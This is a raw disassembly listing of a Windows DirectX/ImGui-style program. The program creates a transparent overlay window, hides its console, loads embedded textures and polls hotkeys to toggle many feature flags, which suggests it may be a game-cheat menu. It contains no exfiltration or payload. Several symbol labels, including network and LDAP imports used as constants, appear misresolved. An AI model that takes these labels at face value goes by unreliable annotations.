mov qword [rsp + 0x2028], rdi
mov edx, 0x7f00
mov qword [rbp + 0x1e8], rax
xor ecx, ecx
mov qword [rsp + 0x1ff8], r14
mov dword [rbp + 0x1e0], 0x50
mov dword [rbp + 0x1e4], 0x40
mov qword [rbp + 0x1f0], r12
mov qword [rbp + 0x1f8], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x200], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdi, [0x140171c18]
mov qword [rbp + 0x210], r12
mov edx, 0x7f00
mov qword [rbp + 0x208], rax
xor ecx, ecx
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x220], rdi
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x1e0]
mov qword [rbp + 0x228], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
mov r9d, 0x80000000
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x220]
mov r8, rdi
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov qword [0x1402dad98], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x14005cc14
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140173290]
lea rdx, [rbp + 0x978]
mov rcx, qword [0x1402dad98]
movdqu xmmword [rbp + 0x978], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1402dad98]
lea rdx, [0x1402dadb8]
xorps xmm0, xmm0
movups xmmword [0x1402dadb8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1402dad98]
call fcn.140062450
test al, al
jne 0x14005cc87
call fcn.1400625e0
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x220]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x140062429
mov rcx, qword [0x1402dad98]
mov edx, 0xa
movaps xmmword [rsp + 0x1fe0], xmm6
movaps xmmword [rsp + 0x1fd0], xmm7
movaps xmmword [rsp + 0x1fb0], xmm9
movaps xmmword [rsp + 0x1fa0], xmm10
movaps xmmword [rsp + 0x1f90], xmm11
movaps xmmword [rsp + 0x1f80], xmm12
movaps xmmword [rsp + 0x1f70], xmm13
movaps xmmword [rsp + 0x1f60], xmm14
movaps xmmword [rsp + 0x1f50], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402dad98]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017340
xor ecx, ecx
call fcn.140006960
call fcn.140008980
lea rcx, [rbp + 0xd40]
mov rdi, rax
or dword [rax], 3
call fcn.14002a450
mov dword [rbp + 0xd8c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d670
movss xmm6, dword [0x140173100]
lea rdx, [0x14024d280]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xd40]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002af50
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402dad80], rax
call fcn.14002d670
movss xmm3, dword [0x1401730f8]
lea rdx, [0x14024d280]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0xd40]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002af50
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402dae08], rax
call fcn.14002d670
movss xmm3, dword [0x140173118]
lea rdx, [0x1402aa1f0]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0xd40]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002af50
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402dae10], rax
call fcn.14002d670
mov qword [rsp + 0x28], rax
lea rdx, [0x140284890]
lea rax, [rbp + 0xd40]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
mov rcx, rbx
call fcn.14002af50
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402dae00], rax
call fcn.14002d670
movss xmm3, dword [0x140173120]
lea rdx, [0x140284890]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0xd40]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002af50
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402dad88], rax
call fcn.14002d670
movss xmm6, dword [0x14017310c]
lea rdx, [0x1402ab130]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xd40]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002af50
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1402dadf8], rax
call fcn.14002d670
movss xmm7, dword [0x14017312c]
lea rdx, [0x1402af8b0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
mov r8d, 0x20fe0
mov qword [rsp + 0x20], r12
mov rcx, rbx
call fcn.14002af50
cmp qword [0x1402dad50], r12
mov qword [rbp + 0x1d0], rax
jne 0x14005cf71
mov rcx, qword [0x1402dadd0]
lea rax, [0x1402dad50]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x14027b5d0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x524c
mov rcx, qword [0x140310b80]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad28], r12
jne 0x14005cfb8
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad28]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402735f0]
mov rax, qword [0x1402dadd0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad30], r12
jne 0x14005cfff
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad30]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018c110]
mov rax, qword [0x1402dadd0]
mov r8d, 0xc1167
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad70], r12
jne 0x14005d046
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad70]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402d46b0]
mov rax, qword [0x1402dadd0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad58], r12
jne 0x14005d08d
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad58]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402aba90]
mov rax, qword [0x1402dadd0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad38], r12
jne 0x14005d0d4
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad38]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402777b0]
mov rax, qword [0x1402dadd0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad68], r12
jne 0x14005d11b
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad68]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402d0890]
mov rax, qword [0x1402dadd0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad48], r12
jne 0x14005d162
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad48]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x140280820]
mov rax, qword [0x1402dadd0]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad40], r12
jne 0x14005d1a9
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad40]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x140277580]
mov rax, qword [0x1402dadd0]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1402dad60], r12
jne 0x14005d1f0
mov rcx, qword [0x140310b80]
lea rax, [0x1402dad60]
mov qword [rsp + 0x30], r12
lea r9, [0x1402d9968]
mov qword [rsp + 0x28], rax
lea rdx, [0x140280900]
mov rax, qword [0x1402dadd0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1402dad98]
call fcn.140047d20
mov rdx, qword [0x140310b88]
mov rcx, qword [0x140310b80]
call fcn.140047850
xorps xmm9, xmm9
lea rcx, [rbp + 0xcb0]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm9
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001d00
movss xmm11, dword [0x140173054]
xor bl, bl
movss xmm14, dword [0x140173070]
movss xmm15, dword [0x1401731d0]
movss xmm13, dword [0x140173014]
movss xmm10, dword [0x14017314c]
movss xmm12, dword [0x1401730a0]
mov qword [rsp + 0x2020], rsi
mov qword [rsp + 0x2030], r13
mov qword [rsp + 0x1ff0], r15
mov dword [rbp - 0x60], ebx
movaps xmmword [rsp + 0x1fc0], xmm8
nop dword [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0xc20]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005d301
nop
lea rcx, [rbp + 0xc20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xc20]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xc28], 0x12
lea rcx, [rbp + 0xc20]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005d2b0
mov dword [rbp - 0x60], ebx
test bl, bl
jne 0x140062380
mov ecx, Ordinal_50
call fcn.140056ba0
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.140056ba0
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.140056ba0
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.140056ba0
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.140056ba0
mov ecx, WSAStartup
mov byte [rsp + 0x63], al
call fcn.140056ba0
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.140056ba0
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.140056ba0
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.140056ba0
mov ecx, 0x5a
mov byte [rsp + 0x67], al
call fcn.140056ba0
mov ecx, dword [0x1402dad08]
movzx r9d, byte [0x1402dacea]
movzx r10d, byte [0x1402dadee]
movzx r11d, byte [0x1402dada1]
movzx ebx, byte [0x1402dad1d]
movzx edi, byte [0x1402dadac]
movzx esi, byte [0x1402dad91]
movzx r14d, byte [0x1402dacec]
movzx r15d, byte [0x1402dacef]
movzx r12d, byte [0x1402dada2]
cmp ecx, 1
jne 0x14005d40e
test r13b, r13b
je 0x14005d5cb
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14005d5db
cmp byte [0x1402dade4], r9b
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 2
jne 0x14005d447
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005d5d0
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14005d5db
cmp byte [0x1402dade4], r10b
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 3
jne 0x14005d480
movzx ecx, byte [rsp + 0x61]
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test cl, cl
je 0x14005d5db
test r11b, r11b
jne 0x14005d5db
cmp byte [0x1402dade4], r11b
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 4
jne 0x14005d4b8
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x60]
test r8b, r8b
je 0x14005d5d6
movzx ecx, byte [rsp + 0x61]
test bl, bl
jne 0x14005d5db
cmp byte [0x1402dade4], bl
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 5
jne 0x14005d4f4
cmp byte [rsp + 0x63], 0
je 0x14005d5cb
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14005d5db
cmp byte [0x1402dade4], dil
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 6
jne 0x14005d530
cmp byte [rsp + 0x64], 0
je 0x14005d5cb
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14005d5db
cmp byte [0x1402dade4], sil
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 7
jne 0x14005d569
cmp byte [rsp + 0x65], 0
je 0x14005d5cb
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14005d5db
cmp byte [0x1402dade4], r14b
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 8
jne 0x14005d59a
cmp byte [rsp + 0x66], 0
je 0x14005d5cb
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14005d5db
cmp byte [0x1402dade4], r15b
sete byte [0x1402dade4]
jmp 0x14005d5db
cmp ecx, 9
jne 0x14005d5cb
cmp byte [rsp + 0x67], 0
je 0x14005d5cb
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14005d5db
cmp byte [0x1402dade4], r12b
sete byte [0x1402dade4]
jmp 0x14005d5db
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x61]
mov eax, dword [0x140310b64]
cmp eax, 1
jne 0x14005d5f7
test r13b, r13b
je 0x14005d688
test r9b, r9b
jmp 0x14005d678
cmp eax, 2
jne 0x14005d609
test dl, dl
je 0x14005d688
test r10b, r10b
jmp 0x14005d678
cmp eax, 3
jne 0x14005d617
test cl, cl
je 0x14005d688
test r11b, r11b
jmp 0x14005d678
cmp eax, 4
jne 0x14005d625
test r8b, r8b
je 0x14005d688
test bl, bl
jmp 0x14005d678
cmp eax, 5
jne 0x14005d636
cmp byte [rsp + 0x63], 0
je 0x14005d688
test dil, dil
jmp 0x14005d678
cmp eax, 6
jne 0x14005d647
cmp byte [rsp + 0x64], 0
je 0x14005d688
test sil, sil
jmp 0x14005d678
cmp eax, 7
jne 0x14005d658
cmp byte [rsp + 0x65], 0
je 0x14005d688
test r14b, r14b
jmp 0x14005d678
cmp eax, 8
jne 0x14005d669
cmp byte [rsp + 0x66], 0
je 0x14005d688
test r15b, r15b
jmp 0x14005d678
cmp eax, 9
jne 0x14005d688
cmp byte [rsp + 0x67], 0
je 0x14005d688
test r12b, r12b
jne 0x14005d688
cmp byte [0x1402dade3], 0
sete byte [0x1402dade3]
mov eax, dword [0x1402dad24]
cmp eax, 1
jne 0x14005d6a4
test r13b, r13b
je 0x14005d735
test r9b, r9b
jmp 0x14005d725
cmp eax, 2
jne 0x14005d6b6
test dl, dl
je 0x14005d735
test r10b, r10b
jmp 0x14005d725
cmp eax, 3
jne 0x14005d6c4
test cl, cl
je 0x14005d735
test r11b, r11b
jmp 0x14005d725
cmp eax, 4
jne 0x14005d6d2
test r8b, r8b
je 0x14005d735
test bl, bl
jmp 0x14005d725
cmp eax, 5
jne 0x14005d6e3
cmp byte [rsp + 0x63], 0
je 0x14005d735
test dil, dil
jmp 0x14005d725
cmp eax, 6
jne 0x14005d6f4
cmp byte [rsp + 0x64], 0
je 0x14005d735
test sil, sil
jmp 0x14005d725
cmp eax, 7
jne 0x14005d705
cmp byte [rsp + 0x65], 0
je 0x14005d735
test r14b, r14b
jmp 0x14005d725
cmp eax, 8
jne 0x14005d716
cmp byte [rsp + 0x66], 0
je 0x14005d735
test r15b, r15b
jmp 0x14005d725
cmp eax, 9
jne 0x14005d735
cmp byte [rsp + 0x67], 0
je 0x14005d735
test r12b, r12b
jne 0x14005d735
cmp byte [0x1402daddd], 0
sete byte [0x1402daddd]
mov eax, dword [0x140310b90]
cmp eax, 1
jne 0x14005d751
test r13b, r13b
je 0x14005d7e2
test r9b, r9b
jmp 0x14005d7d2
cmp eax, 2
jne 0x14005d763
test dl, dl
je 0x14005d7e2
test r10b, r10b
jmp 0x14005d7d2
cmp eax, 3
jne 0x14005d771
test cl, cl
je 0x14005d7e2
test r11b, r11b
jmp 0x14005d7d2
cmp eax, 4
jne 0x14005d77f
test r8b, r8b
je 0x14005d7e2
test bl, bl
jmp 0x14005d7d2
cmp eax, 5
jne 0x14005d790
cmp byte [rsp + 0x63], 0
je 0x14005d7e2
test dil, dil
jmp 0x14005d7d2
cmp eax, 6
jne 0x14005d7a1
cmp byte [rsp + 0x64], 0
je 0x14005d7e2
test sil, sil
jmp 0x14005d7d2
cmp eax, 7
jne 0x14005d7b2
cmp byte [rsp + 0x65], 0
je 0x14005d7e2
test r14b, r14b
jmp 0x14005d7d2
cmp eax, 8
jne 0x14005d7c3
cmp byte [rsp + 0x66], 0
je 0x14005d7e2
test r15b, r15b
jmp 0x14005d7d2
cmp eax, 9
jne 0x14005d7e2
cmp byte [rsp + 0x67], 0
je 0x14005d7e2
test r12b, r12b
jne 0x14005d7e2
cmp byte [0x1402dade1], 0
sete byte [0x1402dade1]
mov eax, dword [0x1402dad94]
cmp eax, 1
jne 0x14005d7fe
test r13b, r13b
je 0x14005d88f
test r9b, r9b
jmp 0x14005d87f
cmp eax, 2
jne 0x14005d810
test dl, dl
je 0x14005d88f
test r10b, r10b
jmp 0x14005d87f
cmp eax, 3
jne 0x14005d81e
test cl, cl
je 0x14005d88f
test r11b, r11b
jmp 0x14005d87f
cmp eax, 4
jne 0x14005d82c
test r8b, r8b
je 0x14005d88f
test bl, bl
jmp 0x14005d87f
cmp eax, 5
jne 0x14005d83d
cmp byte [rsp + 0x63], 0
je 0x14005d88f
test dil, dil
jmp 0x14005d87f
cmp eax, 6
jne 0x14005d84e
cmp byte [rsp + 0x64], 0
je 0x14005d88f
test sil, sil
jmp 0x14005d87f
cmp eax, 7
jne 0x14005d85f
cmp byte [rsp + 0x65], 0
je 0x14005d88f
test r14b, r14b
jmp 0x14005d87f
cmp eax, 8
jne 0x14005d870
cmp byte [rsp + 0x66], 0
je 0x14005d88f
test r15b, r15b
jmp 0x14005d87f
cmp eax, 9
jne 0x14005d88f
cmp byte [rsp + 0x67], 0
je 0x14005d88f
test r12b, r12b
jne 0x14005d88f
cmp byte [0x1402daddf], 0
sete byte [0x1402daddf]
mov eax, dword [0x1402dad18]
cmp eax, 1
jne 0x14005d8ab
test r13b, r13b
je 0x14005d93c
test r9b, r9b
jmp 0x14005d92c
cmp eax, 2
jne 0x14005d8bd
test dl, dl
je 0x14005d93c
test r10b, r10b
jmp 0x14005d92c
cmp eax, 3
jne 0x14005d8cb
test cl, cl
je 0x14005d93c
test r11b, r11b
jmp 0x14005d92c
cmp eax, 4
jne 0x14005d8d9
test r8b, r8b
je 0x14005d93c
test bl, bl
jmp 0x14005d92c
cmp eax, 5
jne 0x14005d8ea
cmp byte [rsp + 0x63], 0
je 0x14005d93c
test dil, dil
jmp 0x14005d92c
cmp eax, 6
jne 0x14005d8fb
cmp byte [rsp + 0x64], 0
je 0x14005d93c
test sil, sil
jmp 0x14005d92c
cmp eax, 7
jne 0x14005d90c
cmp byte [rsp + 0x65], 0
je 0x14005d93c
test r14b, r14b
jmp 0x14005d92c
cmp eax, 8
jne 0x14005d91d
cmp byte [rsp + 0x66], 0
je 0x14005d93c
test r15b, r15b
jmp 0x14005d92c
cmp eax, 9
jne 0x14005d93c
cmp byte [rsp + 0x67], 0
je 0x14005d93c
test r12b, r12b
jne 0x14005d93c
cmp byte [0x1402dade5], 0
sete byte [0x1402dade5]
mov eax, dword [0x1402dad0c]
cmp eax, 1
jne 0x14005d963
test r13b, r13b
je 0x14005d9c0
test r9b, r9b
jne 0x14005d9c0
cmp byte [0x1402daddc], 0
sete al
mov byte [0x1402daddc], al
jmp 0x14005d9c7
cmp eax, 2
jne 0x14005d971
test dl, dl
je 0x14005d9c0
test r10b, r10b
jmp 0x14005d94f
cmp eax, 3
jne 0x14005d97f
test cl, cl
je 0x14005d9c0
test r11b, r11b
jmp 0x14005d94f
cmp eax, 4
jne 0x14005d98d
test r8b, r8b
je 0x14005d9c0
test bl, bl
jmp 0x14005d94f
cmp eax, 5
jne 0x14005d99e
cmp byte [rsp + 0x63], 0
je 0x14005d9c0
test dil, dil
jmp 0x14005d94f
cmp eax, 6
jne 0x14005d9af
cmp byte [rsp + 0x64], 0
je 0x14005d9c0
test sil, sil
jmp 0x14005d94f
cmp eax, 7
jne 0x14005d9c0
cmp byte [rsp + 0x65], 0
je 0x14005d9c0
test r14b, r14b
jmp 0x14005d94f
movzx eax, byte [0x1402daddc]
mov ecx, dword [0x1402dad20]
cmp ecx, 8
jne 0x14005d9de
cmp byte [rsp + 0x66], 0
je 0x14005d9f8
test r15b, r15b
jmp 0x14005d9ed
cmp ecx, 9
jne 0x14005d9f8
cmp byte [rsp + 0x67], 0
je 0x14005d9f8
test r12b, r12b
jne 0x14005d9f8
test al, al
sete byte [0x1402daddc]
mov r8d, dword [0x1402dadcc]
cmp r8d, 1
jne 0x14005da2c
test r13b, r13b
je 0x14005dac5
test r9b, r9b
jne 0x14005dac5
cmp byte [0x1402dadb7], 0
sete dl
mov byte [0x1402dadb7], dl
jmp 0x14005dacc
cmp r8d, 2
jne 0x14005da3f
test dl, dl
je 0x14005dac5
test r10b, r10b
jmp 0x14005da11
cmp r8d, 3
jne 0x14005da51
cmp byte [rsp + 0x61], 0
je 0x14005dac5
test r11b, r11b
jmp 0x14005da11
cmp r8d, 4
jne 0x14005da62
cmp byte [rsp + 0x62], 0
je 0x14005dac5
test bl, bl
jmp 0x14005da11
cmp r8d, 5
jne 0x14005da74
cmp byte [rsp + 0x63], 0
je 0x14005dac5
test dil, dil
jmp 0x14005da11
cmp r8d, 6
jne 0x14005da86
cmp byte [rsp + 0x64], 0
je 0x14005dac5
test sil, sil
jmp 0x14005da11
cmp r8d, 7
jne 0x14005da9b
cmp byte [rsp + 0x65], 0
je 0x14005dac5
test r14b, r14b
jmp 0x14005da11
cmp r8d, 8
jne 0x14005dab0
cmp byte [rsp + 0x66], 0
je 0x14005dac5
test r15b, r15b
jmp 0x14005da11
cmp r8d, 9
jne 0x14005dac5
cmp byte [rsp + 0x67], 0
je 0x14005dac5
test r12b, r12b
jmp 0x14005da11
movzx edx, byte [0x1402dadb7]
cmp ecx, 1
jne 0x14005dafb
test r13b, r13b
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005dc5f
cmp byte [0x1402dadb6], r9b
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 2
jne 0x14005db29
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005dc5f
test r10b, r10b
jne 0x14005dc5f
cmp byte [0x1402dadb6], r10b
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 3
jne 0x14005db5a
cmp byte [rsp + 0x61], 0
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005dc5f
cmp byte [0x1402dadb6], r11b
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 4
jne 0x14005db89
cmp byte [rsp + 0x62], 0
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005dc5f
cmp byte [0x1402dadb6], bl
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 5
jne 0x14005dbba
cmp byte [rsp + 0x63], 0
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005dc5f
cmp byte [0x1402dadb6], dil
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 6
jne 0x14005dbe8
cmp byte [rsp + 0x64], 0
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005dc5f
cmp byte [0x1402dadb6], sil
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 7
jne 0x14005dc0e
cmp byte [rsp + 0x65], 0
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005dc5f
cmp byte [0x1402dadb6], r14b
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 8
jne 0x14005dc34
cmp byte [rsp + 0x66], 0
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005dc5f
cmp byte [0x1402dadb6], r15b
sete byte [0x1402dadb6]
jmp 0x14005dc5f
cmp ecx, 9
jne 0x14005dc5a
cmp byte [rsp + 0x67], 0
je 0x14005dc5a
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005dc5f
cmp byte [0x1402dadb6], r12b
sete byte [0x1402dadb6]
jmp 0x14005dc5f
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x1402dad10]
cmp eax, 1
jne 0x14005dc7b
test r13b, r13b
je 0x14005dd11
test r9b, r9b
jmp 0x14005dd01
cmp eax, 2
jne 0x14005dc8d
test cl, cl
je 0x14005dd11
test r10b, r10b
jmp 0x14005dd01
cmp eax, 3
jne 0x14005dc9e
cmp byte [rsp + 0x61], 0
je 0x14005dd11
test r11b, r11b
jmp 0x14005dd01
cmp eax, 4
jne 0x14005dcae
cmp byte [rsp + 0x62], 0
je 0x14005dd11
test bl, bl
jmp 0x14005dd01
cmp eax, 5
jne 0x14005dcbf
cmp byte [rsp + 0x63], 0
je 0x14005dd11
test dil, dil
jmp 0x14005dd01
cmp eax, 6
jne 0x14005dcd0
cmp byte [rsp + 0x64], 0
je 0x14005dd11
test sil, sil
jmp 0x14005dd01
cmp eax, 7
jne 0x14005dce1
cmp byte [rsp + 0x65], 0
je 0x14005dd11
test r14b, r14b
jmp 0x14005dd01
cmp eax, 8
jne 0x14005dcf2
cmp byte [rsp + 0x66], 0
je 0x14005dd11
test r15b, r15b
jmp 0x14005dd01
cmp eax, 9
jne 0x14005dd11
cmp byte [rsp + 0x67], 0
je 0x14005dd11
test r12b, r12b
jne 0x14005dd11
cmp byte [0x1402dade2], 0
sete byte [0x1402dade2]
mov eax, dword [0x1402dadf0]
cmp eax, 1
jne 0x14005dd2d
test r13b, r13b
je 0x14005dddc
test r9b, r9b
jmp 0x14005ddcc
cmp eax, 2
jne 0x14005dd42
test cl, cl
je 0x14005dddc
test r10b, r10b
jmp 0x14005ddcc
cmp eax, 3
jne 0x14005dd57
cmp byte [rsp + 0x61], 0
je 0x14005dddc
test r11b, r11b
jmp 0x14005ddcc
cmp eax, 4
jne 0x14005dd67
cmp byte [rsp + 0x62], 0
je 0x14005dddc
test bl, bl
jmp 0x14005ddcc
cmp eax, 5
jne 0x14005dd8a
cmp byte [rsp + 0x63], 0
je 0x14005dddc
test dil, dil
jne 0x14005dddc
